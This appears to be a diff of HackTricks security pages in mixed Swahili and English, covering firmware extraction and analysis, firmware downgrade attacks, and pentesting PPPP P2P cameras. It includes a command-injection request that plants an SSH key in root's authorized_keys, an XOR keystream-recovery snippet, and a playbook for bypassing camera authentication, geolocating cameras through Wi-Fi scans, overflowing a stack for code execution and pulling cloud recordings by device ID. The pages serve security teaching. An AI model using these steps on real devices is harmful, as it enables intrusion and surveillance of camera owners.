Kwa kutumia `binwalk -ev <bin>`, kawaida unaweza kutoa filesystem, mara nyingi ndani ya saraka iitwayo kwa jina la aina ya filesystem (mfano, squashfs, ubifs). Hata hivyo, pale **binwalk** inaposhindwa kutambua aina ya filesystem kwa sababu ya kukosekana kwa magic bytes, uondoaji kwa mkono unahitajika. Hii inahusisha kutumia `binwalk` kutafuta offset ya filesystem, ikifuatiwa na amri ya `dd` kutoa filesystem:
```bash
$ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
```
Baada ya hapo, kulingana na aina ya mfumo wa faili (kwa mfano, squashfs, cpio, jffs2, ubifs), amri tofauti hutumika kutoa maudhui kwa mikono.
Baadaye, kulingana na aina ya filesystem (mfano, squashfs, cpio, jffs2, ubifs), amri tofauti zinatumiwa kutoa yaliyomo kwa mikono.
### Uchambuzi wa Mfumo wa Faili
### Filesystem Analysis
Mara mfumo wa faili umepatikana, utafutaji wa kasoro za usalama huanza. Kipaumbele kinatolewa kwa daemons zisizo salama za mtandao, akidi za siri zilizowekwa kwa nguvu, mwisho wa API, kazi za seva za sasisho, msimbo usio na muundo, skripti za kuanzisha, na binaries zilizokusanywa kwa uchambuzi wa mbali.
Mara filesystem ikitolewa, utafutaji wa dosari za usalama unaanza. Kipaumbele kinatolewa kwa network daemons zisizo salama, hardcoded credentials, API endpoints, functionalities za update server, code isiyochakachwa, startup scripts, na compiled binaries kwa uchunguzi wa offline.
**Mikoa muhimu** na **vitu** vya kukagua ni pamoja na:
**Key locations** na **items** za kukagua ni pamoja na:
- **etc/shadow** na **etc/passwd** kwa akidi za watumiaji
- Vyeti vya SSL na funguo katika **etc/ssl**
- Faili za usanidi na skripti kwa uwezekano wa udhaifu
- Binaries zilizojumuishwa kwa uchambuzi zaidi
- Seva za wavuti za vifaa vya IoT na binaries
- **etc/shadow** na **etc/passwd** kwa credentials za watumiaji
- SSL certificates na keys katika **etc/ssl**
- Configuration na script files kwa utegemezi wa udhaifu
- Embedded binaries kwa uchunguzi zaidi
- Common IoT device web servers na binaries
Zana kadhaa husaidia katika kufichua taarifa nyeti na udhaifu ndani ya mfumo wa faili:
Zana kadhaa husaidia kufichua taarifa nyeti na udhaifu ndani ya filesystem:
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) na [**Firmwalker**](https://github.com/craigz28/firmwalker) kwa utafutaji wa taarifa nyeti
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) and [**Firmwalker**](https://github.com/craigz28/firmwalker) kwa utafutaji wa taarifa nyeti
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) kwa uchambuzi wa kina wa firmware
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), na [**EMBA**](https://github.com/e-m-b-a/emba) kwa uchambuzi wa statiki na wa dinamik
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), na [**EMBA**](https://github.com/e-m-b-a/emba) kwa static na dynamic analysis
### Ukaguzi wa Usalama kwenye Binaries Zilizokusanywa
### Security Checks on Compiled Binaries
Msimbo wa chanzo na binaries zilizokusanywa zinazopatikana katika mfumo wa faili zinapaswa kuchunguzwa kwa udhaifu. Zana kama **checksec.sh** kwa binaries za Unix na **PESecurity** kwa binaries za Windows husaidia kubaini binaries zisizo na ulinzi ambazo zinaweza kutumiwa.
Pamoja na source code, compiled binaries zilizopatikana katika filesystem lazima zichunguzwe kwa udhaifu. Zana kama **checksec.sh** kwa Unix binaries na **PESecurity** kwa Windows binaries husaidia kubaini binaries zisizo salama ambazo zinaweza kutumiwa.
## Kuiga Firmware kwa Uchambuzi wa Dinamik
## Emulating Firmware for Dynamic Analysis
Mchakato wa kuiga firmware unaruhusu **uchambuzi wa dinamik** ama wa uendeshaji wa kifaa au programu binafsi. Njia hii inaweza kukutana na changamoto za utegemezi wa vifaa au usanifu, lakini kuhamasisha mfumo wa faili wa mzizi au binaries maalum kwa kifaa chenye usanifu na endianness inayolingana, kama Raspberry Pi, au kwa mashine halisi iliyojengwa mapema, kunaweza kuwezesha majaribio zaidi.
Mchakato wa kuiga firmware unaruhusu **dynamic analysis** ya uendeshaji wa kifaa au programu maalum. Njia hii inaweza kukumbana na changamoto za utegemezi wa vifaa au usanifu, lakini kusafirisha root filesystem au binaries maalum kwenda kifaa chenye usanifu na endianness vinavyolingana, kama Raspberry Pi, au kwenda virtual machine iliyojengwa awali, kunaweza kuwezesha upimaji zaidi.
### Kuiga Binaries Binafsi
### Emulating Individual Binaries
Kwa kuchunguza programu moja, kubaini endianness ya programu na usanifu wa CPU ni muhimu.
Kwa kuchunguza programu za mtu mmoja mmoja, kutambua endianness ya programu na CPU architecture ni muhimu.
#### Mfano na Usanifu wa MIPS
#### Example with MIPS Architecture
Ili kuiga binary ya usanifu wa MIPS, mtu anaweza kutumia amri:
```bash
file ./squashfs-root/bin/busybox
```
Na ili kufunga zana za emulation zinazohitajika:
Na kusakinisha zana muhimu za uigaji:
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
Kwa MIPS (big-endian), `qemu-mips` inatumika, na kwa binaries za little-endian, `qemu-mipsel` itakuwa chaguo.
For MIPS (big-endian), `qemu-mips` inatumiwa, na kwa binaries za little-endian, chaguo ni `qemu-mipsel`.
#### Uigaji wa Muktadha wa ARM
#### Uiga wa ARM
Kwa binaries za ARM, mchakato ni sawa, na emulator `qemu-arm` inatumika kwa uigaji.
Kwa binaries za ARM, mchakato ni sawa, na emulator `qemu-arm` hutumika kwa uiga.
### Uigaji wa Mfumo Kamili
### Uiga wa Mfumo Kamili
Zana kama [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), na zingine, zinawezesha uigaji kamili wa firmware, zikifanya mchakato kuwa wa kiotomatiki na kusaidia katika uchambuzi wa dynamic.
Vifaa kama [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), na vingine, vinasaidia uiga kamili wa firmware, kuendesha mchakato kwa kiotomatiki na kusaidia katika uchambuzi wa wakati wa utekelezaji.
## Uchambuzi wa Dynamic katika Vitendo
## Uchambuzi wa Wakati wa Utekelezaji Katika Vitendo
Katika hatua hii, mazingira halisi au ya uigaji ya kifaa hutumika kwa uchambuzi. Ni muhimu kudumisha ufikiaji wa shell kwa OS na filesystem. Uigaji huenda usifanane kikamilifu na mwingiliano wa vifaa, hivyo inahitajika mara kwa mara kuanzisha upya uigaji. Uchambuzi unapaswa kutembelea filesystem, kutumia kurasa za wavuti zilizofichuliwa na huduma za mtandao, na kuchunguza udhaifu wa bootloader. Majaribio ya uadilifu wa firmware ni muhimu ili kubaini udhaifu wa backdoor unaoweza kuwepo.
Katika hatua hii, mazingira ya kifaa halisi au yaliyouigizwa yanatumika kwa uchambuzi. Ni muhimu kudumisha ufikiaji wa shell kwa OS na filesystem. Emulation inaweza isilingane kabisa na mwingiliano wa hardware, hivyo mara kwa mara inaweza kuhitaji kuanzishwa upya. Uchambuzi unapaswa kurudia filesystem, exploit webpages na network services zilizofunguliwa, na kuchunguza udhaifu wa bootloader. Majaribio ya uadilifu wa firmware ni muhimu kubaini uwezekano wa backdoor vulnerabilities.
## Mbinu za Uchambuzi wa Wakati wa Uendeshaji
## Mbinu za Uchambuzi za Runtime
Uchambuzi wa wakati wa uendeshaji unahusisha kuingiliana na mchakato au binary katika mazingira yake ya uendeshaji, kwa kutumia zana kama gdb-multiarch, Frida, na Ghidra kwa kuweka breakpoints na kubaini udhaifu kupitia fuzzing na mbinu nyingine.
Uchambuzi wa runtime unahusisha kuingiliana na mchakato au binary katika mazingira yake ya uendeshaji, kwa kutumia zana kama gdb-multiarch, Frida, na Ghidra kuweka breakpoints na kubaini vulnerabilities kupitia fuzzing na mbinu nyingine.
## Ukatili wa Binary na Ushahidi wa Dhihirisho
## Binary Exploitation and Proof-of-Concept
Kuendeleza PoC kwa udhaifu ulioainishwa kunahitaji uelewa wa kina wa usanifu wa lengo na programu katika lugha za kiwango cha chini. Ulinzi wa wakati wa uendeshaji wa binary katika mifumo iliyojumuishwa ni nadra, lakini inapokuwepo, mbinu kama Return Oriented Programming (ROP) zinaweza kuwa muhimu.
Kuendeleza PoC kwa vulnerabilities zilizotambuliwa kunahitaji uelewa wa kina wa architecture lengwa na uandishi wa programu kwa lugha za chini. Binary runtime protections katika embedded systems ni nadra, lakini pale zinapokuwepo, mbinu kama Return Oriented Programming (ROP) zinaweza kuwa muhimu.
## Mifumo ya Uendeshaji Iliyoandaliwa kwa Uchambuzi wa Firmware
## Prepared Operating Systems for Firmware Analysis
Mifumo ya uendeshaji kama [AttifyOS](https://github.com/adi0x90/attifyos) na [EmbedOS](https://github.com/scriptingxss/EmbedOS) hutoa mazingira yaliyoandaliwa mapema kwa ajili ya mtihani wa usalama wa firmware, yakiwa na zana muhimu.
Mifumo ya uendeshaji kama [AttifyOS](https://github.com/adi0x90/attifyos) na [EmbedOS](https://github.com/scriptingxss/EmbedOS) hutoa mazingira yaliyoandaliwa mapema kwa jaribio la usalama wa firmware, yakiwa na zana zote zinazohitajika.
## Mifumo ya Uendeshaji Iliyoandaliwa Kuchambua Firmware
## Prepared OSs to analyze Firmware
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS ni distro inayokusudia kukusaidia kufanya tathmini ya usalama na mtihani wa penetration wa vifaa vya Internet of Things (IoT). Inakuokoa muda mwingi kwa kutoa mazingira yaliyoandaliwa mapema na zana zote muhimu zilizopakiwa.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Mfumo wa uendeshaji wa mtihani wa usalama wa embedded unaotegemea Ubuntu 18.04 uliojaa zana za mtihani wa usalama wa firmware.
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS ni distro inayolenga kukusaidia kufanya security assessment na penetration testing ya vifaa vya Internet of Things (IoT). Inakuhifadhi muda kwa kutoa mazingira yaliyoandaliwa tayari na zana zote muhimu zimewekwa.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Embedded security testing operating system based on Ubuntu 18.04 preloaded with firmware security testing tools.
## Mashambulizi ya Kupunguza Firmware na Mechanisms za Sasisho zisizo Salama
## Firmware Downgrade Attacks & Insecure Update Mechanisms
Hata wakati muuzaji anatekeleza ukaguzi wa saini za cryptographic kwa picha za firmware, **ulinzi wa kurudi nyuma (kupunguza) toleo mara nyingi huachwa**. Wakati boot- au recovery-loader inathibitisha tu saini na funguo za umma zilizojumuishwa lakini hailinganishe *toleo* (au counter monotonic) ya picha inayowekwa, mshambuliaji anaweza halali kufunga **firmware ya zamani, yenye udhaifu ambayo bado ina saini halali** na hivyo kuanzisha tena udhaifu uliofanyiwa marekebisho.
Hata pale muuzaji anapotekeleza ukaguzi wa saini za cryptographic kwa firmware images, **version rollback (downgrade) protection is frequently omitted**. Wakati boot- au recovery-loader inathibitisha tu saini kwa kutumia embedded public key lakini haisi kulinganisha *version* (au monotonic counter) ya image inayoflashiwa, mshambuliaji anaweza kwa halali kusanidi na kuflash **older, vulnerable firmware that still bears a valid signature** na hivyo kuirudisha tena vulnerabilities zilizotengenezwa.
Mchakato wa shambulizi wa kawaida:
Mfano wa mchakato wa shambulio wa kawaida:
1. **Pata picha ya zamani iliyosainiwa**
* Iteue kutoka kwenye portal ya kupakua ya umma ya muuzaji, CDN au tovuti ya msaada.
* Iondoe kutoka kwa programu za simu/kompyuta za mezani (kwa mfano ndani ya APK ya Android chini ya `assets/firmware/`).
* Irejeshe kutoka kwa hifadhi za wahusika wengine kama VirusTotal, archives za mtandao, forums, nk.
2. **Pakia au tolea picha hiyo kwa kifaa** kupitia njia yoyote ya sasisho iliyofichuliwa:
* Web UI, API ya programu ya simu, USB, TFTP, MQTT, nk.
* Vifaa vingi vya IoT vya watumiaji vinatoa *mipangilio isiyoidhinishwa* ya HTTP(S) ambayo inakubali blobs za firmware zilizopakiwa kwa Base64, kuzifungua upande wa seva na kuanzisha urejeleaji/kuinua.
3. Baada ya kupunguza, tumia udhaifu ambao ulifanyiwa marekebisho katika toleo jipya (kwa mfano, chujio cha kuingiza amri ambacho kiliongezwa baadaye).
4. Kwa hiari flash picha ya hivi karibuni tena au zima sasisho ili kuepuka kugundulika mara tu uvumilivu unapatikana.
1. **Obtain an older signed image**
* Grab it from the vendors public download portal, CDN or support site.
* Extract it from companion mobile/desktop applications (e.g. inside an Android APK under `assets/firmware/`).
* Retrieve it from third-party repositories such as VirusTotal, Internet archives, forums, etc.
2. **Upload or serve the image to the device** via any exposed update channel:
* Web UI, mobile-app API, USB, TFTP, MQTT, etc.
* Many consumer IoT devices expose *unauthenticated* HTTP(S) endpoints that accept Base64-encoded firmware blobs, decode them server-side and trigger recovery/upgrade.
3. After the downgrade, exploit a vulnerability that was patched in the newer release (for example a command-injection filter that was added later).
4. Optionally flash the latest image back or disable updates to avoid detection once persistence is gained.
### Mfano: Kuingiza Amri Baada ya Kupunguza
### Mfano: Command Injection After Downgrade
```http
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
Host: 192.168.0.1
Content-Type: application/octet-stream
Content-Length: 0
```
Katika firmware iliyo hatarini (iliyoshushwa), parameter ya `md5` imeunganishwa moja kwa moja katika amri ya shell bila kusafishwa, ikiruhusu kuingizwa kwa amri za kiholela (hapa kuwezesha ufikiaji wa mizizi kwa kutumia funguo za SSH). Baadaye toleo la firmware lilileta kichujio cha wahusika wa msingi, lakini ukosefu wa ulinzi wa kushusha unafanya marekebisho kuwa yasiyo na maana.
Katika firmware iliyo hatarini (downgraded), parameter `md5` imeunganishwa moja kwa moja ndani ya shell command bila kusafishwa, ikiruhusu injection ya amri zisizo na adhabu (hapa kuwezesha SSH key-based root access). Toleo la baadaye la firmware liliingiza chujio la msingi la herufi, lakini kukosekana kwa ulinzi dhidi ya downgrade hufanya suluhisho hilo kuwa batili.
### Kutolewa kwa Firmware Kutoka kwa Programu za Simu
### Kuchota Firmware kutoka kwa Apps za Mkononi
Wauzaji wengi hujumuisha picha kamili za firmware ndani ya programu zao za simu za washirika ili programu iweze kusasisha kifaa kupitia Bluetooth/Wi-Fi. Paket hizi kwa kawaida huhifadhiwa bila usimbaji katika APK/APEX chini ya njia kama `assets/fw/` au `res/raw/`. Zana kama `apktool`, `ghidra`, au hata `unzip` rahisi zinakuruhusu kutoa picha zilizotiwa saini bila kugusa vifaa vya kimwili.
Wauzaji wengi hujumuisha picha kamili za firmware ndani ya programu zao za kuambatana za mkononi ili app iweze kusasisha kifaa kupitia Bluetooth/Wi-Fi. Vifurushi hivi mara nyingi huhifadhiwa bila kusimbwa ndani ya APK/APEX chini ya njia kama `assets/fw/` au `res/raw/`. Zana kama `apktool`, `ghidra`, au hata plain `unzip` zinakuwezesha kutoa signed images bila kugusa vifaa vya kimwili.
```
$ apktool d vendor-app.apk -o vendor-app
$ ls vendor-app/assets/firmware
firmware_v1.3.11.490_signed.bin
```
### Orodha ya Kuangalia Mantiki ya Sasisho
### Orodha ya ukaguzi ya mantiki ya usasishaji
* Je, usafirishaji/uidhinishaji wa *kituo cha sasisho* umehifadhiwa ipasavyo (TLS + uidhinishaji)?
* Je, kifaa kinalinganisha **nambari za toleo** au **kikadiriaji cha kuzuia kurudi nyuma** kabla ya kuandika?
* Je, picha inathibitishwa ndani ya mnyororo wa kuanza salama (kwa mfano, saini zinakaguliwa na msimbo wa ROM)?
* Je, msimbo wa userland unafanya ukaguzi wa ziada wa akili (kwa mfano, ramani ya sehemu inayoruhusiwa, nambari ya mfano)?
* Je, *mchakato wa* sasisho *ya sehemu* au *hifadhi* unatumia mantiki ile ile ya uthibitishaji?
* Je, usafirishaji/uthibitishaji wa *update endpoint* umehifadhiwa ipasavyo (TLS + authentication)?
* Je, kifaa kinalinganisha **version numbers** au **monotonic anti-rollback counter** kabla ya ku-flash?
* Je, image inathibitishwa ndani ya secure boot chain (mfano: signatures zinakaguliwa na ROM code)?
* Je, userland code inafanya ukaguzi wa ziada wa mantiki (mfano: allowed partition map, model number)?
* Je, mtiririko wa masasisho *partial* au *backup* unatumia tena mantiki ile ile ya uthibitishaji?
> 💡 Ikiwa yoyote kati ya hapo juu inakosekana, jukwaa linaweza kuwa hatarini kwa mashambulizi ya kurudi nyuma.
> 💡 Ikiwa mojawapo ya yaliyotajwa hapo juu inakosekana, jukwaa lina uwezekano mkubwa wa kuwa dhaifu kwa rollback attacks.
## Firmware yenye Uhatari ya Kufanya Mazoezi
## Vulnerable firmware to practice
Ili kufanya mazoezi ya kugundua udhaifu katika firmware, tumia miradi ifuatayo ya firmware yenye uhatari kama hatua ya kuanzia.
To practice discovering vulnerabilities in firmware, use the following vulnerable firmware projects as a starting point.
- OWASP IoTGoat
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
- Mradi wa Firmware ya Router yenye Uhatari
- The Damn Vulnerable Router Firmware Project
- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
- Router ya ARM yenye Uhatari (DVAR)
- Damn Vulnerable ARM Router (DVAR)
- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
- ARM-X
- [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
- Azeria Labs VM 2.0
- [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
- Kifaa cha IoT chenye Uhatari (DVID)
- Damn Vulnerable IoT Device (DVID)
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
## Marejeleo
## References
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)

BIN
src/images/k8studio.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.5 KiB

View File

@ -0,0 +1,165 @@
# 32100/UDP - Pentesting PPPP (CS2) P2P Cameras
{{#include ../banners/hacktricks-training.md}}
## Overview
PPPP (a.k.a. “P2P”) ni stack ya muunganisho ya kifaa ya umiliki kutoka CS2 Network ambayo imejengwa sana katika kamera za IP za gharama nafuu na vifaa vingine vya IoT. Inatoa rendezvous, NAT traversal (UDP hole punching), stream ya application-layer iliyohakikishwa juu ya UDP, na mpangilio wa anuani kwa msingi wa ID, ikiruhusu app ya mobile/desktop kufikia vifaa popote mtandaoni kwa kujua tu device ID.
Sifa kuu zinazohusiana na watapeli:
- Vifaa hujisajili kwa rendezvous servers tatu zinazofanywa na vendor kwa kila ID prefix. Clients huuliza server hizo kupata anwani ya external/relay ya kifaa, kisha hujaribu UDP hole punching. Kuna fallback ya relay.
- Default server listener inapatikana kupitia UDP/32100. Probe ndogo ya “hello” inatosha kwa fingerprinting ya servers na baadhi ya vifaa.
- Kuna blanket cipher ya hiari na mode maalum ya “CRCEnc” lakini zimetengenezwa dhaifu na kawaida zimezimwa katika ecosystems maarufu (e.g., LookCam).
- Control plane kwa kawaida ni amri za JSON juu ya stream ya PPPP na mara nyingi hugongwa na kukosa auth na bugs za memory-safety.
Muundo wa kawaida wa device ID (familia ya LookCam): PREFIX-######-CCCCC, zilizopunguzwa katika apps (e.g., GHBB-000001-NRLXW → G000001NRLXW). Prefixes zilizoshuhudiwa: BHCC ("hekai"), FHBB na GHBB ("mykj").
## Discovery and Enumeration
- Internet exposure: super-nodes nyingi za PPPP hujibu probe ya 32100/UDP. Known plaintext na majibu ya error-string huwafanya rahisi kutambuliwa katika traffic captures na kwa Internet scanners.
- LAN discovery: devices mara nyingi hujibu kwa search isiyo-encrypted kwenye local broadcast. Tumia script ya Paul Marrapese kuorodhesha:
- [https://github.com/pmarrapese/iot/tree/master/p2p/lansearch](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
Vidokezo:
- Apps zinaweka “init strings” ambazo zina orodha za server IP zilizofichwa na protocol keys. Strings hizi ni rahisi kuzichimbua kutoka kwa clients za Android/iOS/Windows na mara nyingi zinatumika tena kwenye mistari mingi ya bidhaa.
## NAT Traversal and Transport
- Rendezvous servers hujifunza public mapping ya kifaa kupitia keepalives ya kipindi kutoka kwa kifaa. Clients huuliza servers kwa mapping kisha hujaribu flows za moja kwa moja za UDP kwa kutumia hole punching. Ikiwa NAT traversal inashindwa, trafiki hurushwa kupitia PPPP relay hosts zilizoteuliwa.
- Stream ya application inatekeleza logic yake ya ACK/retx juu ya UDP; retransmission loops zimeirudishwa katika njia nyingi za code na zinaweza kuzidisha (flood) links zenye upotevu.
## Weak “Encryption” and Key Recovery
Kuna mechanisms mbili zisizo na ufanisi katika stack ya CS2:
1) Blanket cipher (optional) P2P_Proprietary_Encrypt
- Kwa kawaida imezimwa na OEMs zinazotumia LookCam.
- App-side “init string” hutoa key material ambayo hupunguzwa hadi key ya ufanisi ya 4-byte (~2^32 space).
- Practical known-plaintext: the first 4 bytes of MSG_HELLO to UDP/32100 are known to be F1 00 00 00. Observing a single encrypted handshake allows rapid key recovery or validation.
- Baadhi ya control messages (e.g., MSG_REPORT_SESSION_READY) huwa zimefungwa kila mara kwa library-hardcoded key inayoshirikiwa kati ya apps.
2) Registration “encryption” PPPP_CRCEnc
- Licha ya jina, hii si CRC. Ni fixed repeating XOR keystream yenye 4-byte padding check (si authenticated).
- Mitandao ya LookCam kwa kawaida hutumia CRCEnc tu kwa device → server registration (MSG_DEV_LGN_CRC). Trafiki nyingine nyingi hubaki plaintext.
Simple keystream recovery for PPPP_CRCEnc (Python):
```python
# ciphertext: captured bytes of an encrypted registration message
# known: guessed/known plaintext region (e.g., JSON or constant header)
keystream = bytes([c ^ p for c, p in zip(ciphertext[:len(known)], known)])
# Decrypt more bytes by XORing with the repeating keystream
pt = bytes([c ^ keystream[i % len(keystream)] for i, c in enumerate(ciphertext)])
```
Ukosefu wa ulinganifu wa modeli ya tishio: nyenzo za CS2 zinazingatia kuzuia DoS kupitia usajili wa vifaa bandia, si ulinzi wa usiri. Hii inaelezea “encryption” teuliwa ya usajili ilhali video/udhibiti zinabaki chaguo au cleartext. Seva za PPPP za kihistoria zinaonyesha kutokuwepo kwa rate limiting, kuruhusu brute-force/abuse kwa wingi.
## Safu ya Udhibiti: JSON Amri na Auth Bypass
Firmware nyingi za kamera za PPPP hubadilishana ujumbe za JSON mara tu kikao kinapoanzishwa. Mfano wa “login” ambao mteja anamtumia:
```json
{
"cmd": "LoginDev",
"pwd": "123456"
}
```
Udhaifu wa kawaida katika vifaa vya LookCam-class:
- Firmware hunyang'anywa mtiririko wa LoginDev na mashamba ya pwd ya kila ombi (CWE-287, CWE-306). Kifaa kinakubali amri za uendeshaji bila kuthibitisha nenosiri.
- Exploitation: usitume LoginDev au puuza matokeo yake; tuma amri moja kwa moja.
Amri muhimu zilizobainika:
- searchWiFiList huendesha iwlist kupitia shell; huacha matokeo asilia katika /tmp/wifi_scan.txt.
- DownloadFile primitive ya kusoma path yoyote bila vizuizi vya path.
Hatua za deanonymize eneo kwa kutumia artifacts za muda:
1) Tuma {"cmd":"searchWiFiList"}.
2) Soma /tmp/wifi_scan.txt kupitia DownloadFile.
3) Tuma BSSID MACs kwa geolocation API (mfano, Google Geolocation API) ili kuweka kamera ndani ya mita kadhaa.
## Usalama wa Kumbukumbu hadi RCE kwenye Embedded Firmware
Mfano wa kawaida usio salama (pseudocode kutoka handlers):
```c
char buf[256];
char *cmd = cJSON_GetObjectItem(request, "cmd")->valuestring;
memset(buf, 0, sizeof(buf));
memcpy(buf, cmd, strlen(cmd)); // no bound check
```
- Kichocheo: any cmd string > 255 bytes causes a stack buffer overflow (CWE-120/121).
- Ulinzi: no stack canary; DEP/NX and ASLR commonly disabled on these builds.
- Athari: straightforward single-stage shellcode or classic ROP/ret2libc on the devices CPU (e.g., ARM) for full compromise and LAN pivoting.
See also:
-
{{#ref}}
../binary-exploitation/stack-overflow/README.md
{{#endref}}
-
{{#ref}}
../binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
{{#endref}}
## Matumizi mabaya ya Cloud Storage (HTTP, Device-ID pekee)
Many LookCam-branded firmwares upload recordings to api.l040z.com (apicn.l040z.com for BHCC) over HTTP only. Observations:
- Hakuna TLS in firmware; transport is cleartext HTTP.
- API “authentication” ni device-ID pekee: anyone knowing the ID can fetch recordings.
- 5 MiB chunking is hardcoded.
- Uwezeshaji wa mbali: on boot the device calls http://api.l040z.com/camera/signurl; the servers response decides whether uploads start. The mobile app may show cloud “disabled” even when uploads occur. A third party can purchase/enable cloud for a victim ID and silently collect footage.
This is classic cleartext sensitive transmission (CWE-319) with missing server-side authZ.
## Uorodheshaji na Kukisia Device-ID
- Umbizo la ID: PREFIX-######-CCCCC and app-shortened form (e.g., GHBB-000001-NRLXW → G000001NRLXW).
- Prefix families: BHCC (hekai servers), FHBB and GHBB (mykj servers). Each prefix maps to three rendezvous servers for HA.
- The 5-letter verifier uses an alphabet of 22 uppercase letters (A, I, O, Q excluded) → 22^5 ≈ 5.15M combos per numeric base.
- Prior work observed no server-side rate-limiting, making distributed guessing practical. The verifier algorithm is bespoke and likely guessable or obtainable by reversing apps/firmware.
Vyanzo vya vitendo vya IDs:
- Displayed all over the official apps and often leaked in user screenshots/videos.
- AP mode SSID equals the device ID; many devices expose an open AP during onboarding.
## Kulazimisha Upatikanaji wa Mbali
Baadhi ya firmwares reboot in a loop until rendezvous servers are reachable. If egress is blocked, the device will remain in a reboot cycle, effectively coercing owners to leave it Internet-reachable and exposed to PPPP rendezvous.
## Practical Exploitation Playbook (for repro/defense testing)
1) Obtain device ID
- From app UI or AP SSID; otherwise enumerate PREFIX+number and brute 22^5 verifier space.
2) Establish PPPP session
- Use a CS2 PPPP client or custom code; extract server IP lists and init keys from the app init string; attempt UDP hole punching; fall back to relay.
3) Bypass auth
- Skip LoginDev or ignore its result; send operational JSON directly.
4) Exfiltrate files / geo-locate
- Send {"cmd":"searchWiFiList"}; then DownloadFile "/tmp/wifi_scan.txt"; submit BSSIDs to a geolocation API.
5) Achieve RCE
- Send a cmd > 255 bytes to trigger the stack overflow; build ROP/ret2libc or drop shellcode (no canary/DEP/ASLR).
6) Cloud access
- Interact with api.l040z.com endpoints using only the device ID; note 5 MiB chunking; cloud enablement controlled by /camera/signurl regardless of the app UI state.
## Related Protocols/Services
-
{{#ref}}
554-8554-pentesting-rtsp.md
{{#endref}}
-
{{#ref}}
../generic-methodologies-and-resources/pentesting-wifi/README.md
{{#endref}}
## Marejeo
- [A look at a P2P camera (LookCam app) Almost Secure](https://palant.info/2025/09/08/a-look-at-a-p2p-camera-lookcam-app/)
- [PPPP device discovery on LAN (Paul Marrapese)](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
- [LookCam analysis (Warwick University, 2023)](https://www.dcs.warwick.ac.uk/~fenghao/files/hidden_camera.pdf)
- [General PPPP analysis Elastic Security Labs (2024)](https://www.elastic.co/security-labs/storm-on-the-horizon)
- [CS2 Network sales deck (2016) PPPP/threat model](https://prezi.com/5cztk-98izyc/cs2-network-p2p/)
- [Anyka hardened community firmware](https://github.com/Nemobi/Anyka/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,36 +2,36 @@
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## Taarifa za Msingi
From [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
Kutoka [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
> The **Real Time Streaming Protocol** (**RTSP**) ni itifaki ya udhibiti wa mtandao iliyoundwa kwa matumizi katika mifumo ya burudani na mawasiliano kudhibiti seva za vyombo vya habari vinavyotiririka. Itifaki hii inatumika kwa kuanzisha na kudhibiti vikao vya vyombo vya habari kati ya sehemu za mwisho. Wateja wa seva za vyombo vya habari wanatoa amri za mtindo wa VHS, kama vile kucheza, kurekodi na kusimamisha, ili kuwezesha udhibiti wa wakati halisi wa vyombo vya habari vinavyotiririka kutoka kwa seva hadi mteja (Video On Demand) au kutoka kwa mteja hadi seva (Voice Recording).
> The **Real Time Streaming Protocol** (**RTSP**) ni itifaki ya udhibiti wa mtandao iliyoundwa kwa ajili ya matumizi katika mifumo ya burudani na mawasiliano ili kudhibiti seva za media zinazotiririsha. Itifaki hutumika kuanzisha na kudhibiti vikao vya media kati ya ncha za mwisho. Wateja wa seva za media hutoa amri za mtindo wa VHS, such as play, record and pause, ili kuwezesha udhibiti wa wakati halisi wa utiririshaji wa media kutoka seva kwenda kwa mteja (Video On Demand) au kutoka kwa mteja kwenda seva (Voice Recording).
>
> Uhamasishaji wa data inayotiririka yenyewe si kazi ya RTSP. Seva nyingi za RTSP hutumia Itifaki ya Usafirishaji wa Wakati Halisi (RTP) pamoja na Itifaki ya Udhibiti wa Wakati Halisi (RTCP) kwa ajili ya usambazaji wa mtiririko wa vyombo vya habari. Hata hivyo, wauzaji wengine wanafanya utekelezaji wa itifaki za usafirishaji za miliki. Programu ya seva ya RTSP kutoka RealNetworks, kwa mfano, pia ilitumia Usafirishaji wa Data wa Halisi wa RealNetworks (RDT).
